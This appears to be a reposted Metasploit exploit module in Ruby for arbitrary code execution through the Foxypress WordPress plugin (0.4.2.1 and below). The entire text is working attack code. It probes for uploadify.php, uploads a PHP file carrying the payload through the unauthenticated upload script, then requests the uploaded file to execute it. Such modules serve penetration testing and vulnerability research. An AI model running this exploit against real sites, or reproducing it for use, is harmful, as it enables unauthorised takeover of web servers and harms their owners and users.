Smooth Blog

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'WordPress plugin Foxypress uploadify.php Arbitrary Code Execution',
 'Description' => %q{
 This module exploits an arbitrary PHP code execution flaw in the WordPress
 blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
 file upload and remote code execution via the uploadify.php script. The Foxypress
 plug-in versions 0.4.2.1 and below are vulnerable.
 },
 'Author' =>
 [
 'Sammy FORGIT', # Vulnerability Discovery, PoC
 'patrick' # Metasploit module
 ],
 'License' => MSF_LICENSE,
 'Version' => '$Revision$',
 'References' =>
 [
 ['EDB', '18991'],
 ['OSVDB', '82652'],
 ['BID', '53805'],
 ],
 'Privileged' => false,
 'Payload' =>
 {
 'Compat' =>
 {
 'ConnectionType' => 'find',
 },
 },
 'Platform' => 'php',
 'Arch' => ARCH_PHP,
 'Targets' => [[ 'Automatic', { }]],
 'DisclosureDate' => 'Jun 05 2012',
 'DefaultTarget' => 0))

 register_options(
 [
 OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]),
 ], self.class)
 end

 def check
 uri = target_uri.path
 uri << '/' if uri[-1,1] != '/'

 res = send_request_cgi({
 'method' => 'GET',
 'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php"
 })

 if res and res.code == 200
 return Exploit::CheckCode::Detected
 else
 return Exploit::CheckCode::Safe
 end
 end

 def exploit

 uri = target_uri.path
 uri << '/' if uri[-1,1] != '/'

 peer = "#{rhost}:#{rport}"

 post_data = Rex::MIME::Message.new
 post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name="Filedata"; filename="#{rand_text_alphanumeric(6)}.php"")

 print_status("#{peer} - Sending PHP payload")

 res = send_request_cgi({
 'method' => 'POST',
 'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php",
 'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
 'data' => post_data.to_s
 })

 if not res or res.code != 200 or res.body !~ /{"raw_file_name":"(w+)",/
 print_error("#{peer} - File wasn't uploaded, aborting!")
 return
 end

 print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")
 res = send_request_cgi({
 'method' => 'GET',
 'uri' => "#{uri}wp-content/affiliate_images/#{$1}.php"
 })

 if res and res.code != 200
 print_error("#{peer} - Server returned #{res.code.to_s}")
 end

 end

end